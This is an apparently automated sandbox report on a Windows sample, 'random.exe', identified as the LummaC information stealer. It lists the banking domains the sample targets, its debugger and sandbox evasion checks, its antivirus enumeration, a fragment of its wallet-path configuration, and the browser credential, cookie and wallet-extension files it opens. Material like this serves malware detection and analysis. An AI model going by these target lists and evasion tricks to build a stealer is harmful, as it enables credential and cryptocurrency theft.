Source: random.exe, 00000000.00000003.1150766846.000000000532D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696503903^
Source: random.exe, 00000000.00000003.1150766846.000000000532D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696503903}
Source: random.exe, 00000000.00000003.1150766846.000000000532D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696503903x
Source: random.exe, 00000000.00000003.1150766846.000000000532D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696503903h
Source: random.exe, 00000000.00000003.1150766846.000000000532D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696503903x
Source: random.exe, random.exe, 00000000.00000003.1122560402.0000000000BEC000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1225176832.0000000000BEC000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1319292450.0000000000BEA000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000002.1321220446.0000000000BEA000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1294172488.0000000000BEA000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1248819986.0000000000BEC000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1281212887.0000000000BEA000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1266474719.0000000000BEC000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1250092902.0000000000BEC000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1111873800.0000000000BEC000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1211132418.0000000000BEC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: random.exe, 00000000.00000003.1150766846.000000000532D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696503903]
Source: random.exe, 00000000.00000003.1150766846.000000000532D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696503903
Source: random.exe, 00000000.00000003.1150766846.000000000532D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696503903\|UE
Source: random.exe, 00000000.00000003.1150766846.000000000532D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696503903
Source: random.exe, 00000000.00000003.1150766846.000000000532D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696503903
Source: random.exe, 00000000.00000003.1150766846.000000000532D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696503903u
Source: random.exe, 00000000.00000003.1150377826.00000000052EE000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1149929023.00000000052EB000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1149947996.00000000052E8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=cnG4Z7p4XfDSYDPjOnn8m4jrwSw25b7TDd%2FN87j8zZYi%2BJDloiXEqOUV8A%2FRX49UXBg6re9%2FrVwPS52L4PJlqBr7ShgFsEez%2FrYIe3NIe0RCKw2h%2B%2FMtyuh3fYfKO2Zh"}],"group":"cf-nel","max_age":604800}
Source: random.exe, 00000000.00000003.1150766846.000000000532D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696503903
Source: random.exe, 00000000.00000003.1150766846.000000000532D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696503903
Source: random.exe, 00000000.00000003.1150766846.000000000532D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696503903t
Source: random.exe, 00000000.00000003.1150766846.000000000532D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696503903}
Source: random.exe, 00000000.00000003.1150766846.000000000532D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696503903x
Source: random.exe, 00000000.00000003.1150766846.000000000532D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696503903
Source: random.exe, 00000000.00000003.1150766846.000000000532D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696503903
Source: random.exe, 00000000.00000003.1180038198.00000000052E6000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1180148327.00000000052E6000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1151122096.00000000052E8000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1151201258.00000000052E8000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1167060919.00000000052E8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: s":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=cnG4Z7p4XfDSYDPjOnn8m4jrwSw25b7TDd%2FN87j8zZYi%2BJDloiXEqOUV8A%2FRX49UXBg6re9%2FrVwPS52L4PJlqBr7ShgFsEez%2FrYIe3NIe0RCK
Source: random.exe, 00000000.00000003.1150766846.000000000532D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696503903p
Source: random.exe, 00000000.00000003.1150766846.000000000532D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696503903n
Source: random.exe, 00000000.00000003.1150766846.000000000532D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696503903t
Source: random.exe, 00000000.00000003.1150766846.000000000532D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696503903s
Source: random.exe, 00000000.00000003.1150766846.000000000532D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696503903
Source: random.exe, 00000000.00000003.1150766846.0000000005332000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMware20
Source: random.exe, 00000000.00000003.1150766846.000000000532D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696503903d
Source: random.exe, 00000000.00000002.1319754123.00000000002F8000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: random.exe, 00000000.00000003.1150766846.000000000532D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696503903j
Source: random.exe, 00000000.00000003.1150766846.000000000532D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696503903f
Source: random.exe, 00000000.00000003.1150766846.000000000532D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696503903
Source: random.exe, 00000000.00000003.1150766846.0000000005332000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696503903p

Source: C:\Users\user\Desktop\random.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\random.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\random.exe

Thread information set: HideFromDebugger

Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\random.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\random.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\random.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\random.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\random.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\random.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\random.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\random.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\random.exe	File opened: NTICE
Source: C:\Users\user\Desktop\random.exe	File opened: SICE
Source: C:\Users\user\Desktop\random.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\random.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Process queried: DebugPort	Jump to behavior

Source: random.exe, 00000000.00000002.1319754123.00000000002F8000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: Program Manager

Source: C:\Users\user\Desktop\random.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\random.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: random.exe, 00000000.00000003.1250092902.0000000000BDE000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1253389127.00000000052E1000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1250032996.00000000052E8000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1280998414.00000000052E8000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000002.1329074174.00000000052E8000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1266149045.00000000052E8000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\random.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match

File source: Process Memory Space: random.exe PID: 6452, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: random.exe	String found in binary or memory: Wallets/Electrum
Source: random.exe	String found in binary or memory: Wallets/ElectronCash
Source: random.exe	String found in binary or memory: 20971520},{"t":0,"p":"%appdata%\\Bitcoin\\wallets","m":["*"],"z":"Wallets/Bitcoin core","d":2,"fs":20971520},{"t":0,"p":"%appdata%\\Binance","m":["app-store.json",".finger-print.fp","simple-storage.json","window-state.json"],"z":"Wallets/Binance","
Source: random.exe, 00000000.00000003.1225176832.0000000000BEC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ":20971520},{"t":0,"p":"%appdata%\\com.liberty.jaxx\\IndexedDB","m":[""],"z":"Wallets/JAXX New Version","d":2,"fs":20971520},{"t":0,"p":"%appdata%\\Electrum\\wallets","m":[""],"z":"Wallets/Electrum","d":0,"fs":20971520},{"t":0,"p":"%appdata%\\Ele
Source: random.exe, 00000000.00000003.1225176832.0000000000BEC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ","ez":"MetaMask","et":"\"params\":{\"iterations\":600000}"}],"c":[{"t":0,"p":"%appdata%\\Ethereum","m":["keystore"],"z":"Wallets/Ethereum","d":1,"fs":20971520},{"t":0,"p":"%appdata%\\Exodus\\exodus.wallet","m":["*"],"z":"Wallets/Exodus","d":0,"fs"P
Source: random.exe, 00000000.00000003.1225176832.0000000000BEC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ","ez":"MetaMask","et":"\"params\":{\"iterations\":600000}"}],"c":[{"t":0,"p":"%appdata%\\Ethereum","m":["keystore"],"z":"Wallets/Ethereum","d":1,"fs":20971520},{"t":0,"p":"%appdata%\\Exodus\\exodus.wallet","m":["*"],"z":"Wallets/Exodus","d":0,"fs"P
Source: random.exe	String found in binary or memory: %appdata%\Ethereum
Source: random.exe, 00000000.00000003.1225176832.0000000000BEC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ","ez":"MetaMask","et":"\"params\":{\"iterations\":600000}"}],"c":[{"t":0,"p":"%appdata%\\Ethereum","m":["keystore"],"z":"Wallets/Ethereum","d":1,"fs":20971520},{"t":0,"p":"%appdata%\\Exodus\\exodus.wallet","m":["*"],"z":"Wallets/Exodus","d":0,"fs"P

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
